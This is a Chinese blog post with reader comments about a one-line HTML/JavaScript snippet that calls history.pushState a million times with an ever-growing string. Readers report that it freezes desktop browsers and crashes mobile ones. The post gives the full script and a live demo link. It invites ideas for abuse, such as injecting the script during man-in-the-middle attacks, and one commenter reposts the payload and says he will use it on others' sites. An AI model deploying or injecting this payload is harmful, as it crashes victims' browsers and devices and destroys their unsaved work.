完整HTML代码如下:


<html><body><script>var total="";for (var i=0;i<1000000;i++){    total= total+i.toString();    history.pushState(0,0,total);}</script></body></html>
demo:(温馨提示:请保存浏览器其它窗口的编辑任务)


http://www.0xroot.cn/demo.html

接来下会发生什么?
点开以后,我的状态是这样的:

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…
思考
这是Bug还是0day?为什么会有这一现象?如何实现的?
有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的…)

欢迎留言

21 条评论

  1. 手机直接闪退,以后黑别人网站就用他了!

    Redmi Note 1LTE MIUI Browser 2.1.1
  2. 呵呵<script>var total="";for (var i=0;i<1000000;i++){    total= total+i.toString();    history.pushState(0,0,total);}</script>

    Windows 7 x64 Internet Explorer 11.0
  3. 短时间内加载一千次一个网页。换哪里都会爆炸

    Windows 7 Google Chrome 48.0.2564.103
  4. 真心没有爆炸,连内存也没有太大变化啊

    Windows 10 Internet Explorer 11.0
  5. 表示 CPU狂飙 80%-99%  内存占用率持续上升  然后 内存全部被使用  浏览器崩溃

    Windows 7 x64 Google Chrome 47.0.2526.111
  6. 没反应……打开是个空白页,我复制了代码本地打开也是一样

    Lenovo K50 Google Chrome 43.0.2357.121
  7. 亲测没有爆 WIN10专业版 IE11 打了KB3104002   点进去卡了一会,就5s 然后恢复正常

    Windows 10 Internet Explorer 11.0
  8. 表示我用电脑开,只彪CPU,内存没什么异常,,,这条评论我就是开着那个网页发的。

    Windows 10 Google Chrome 45.0.2454.101

    1 2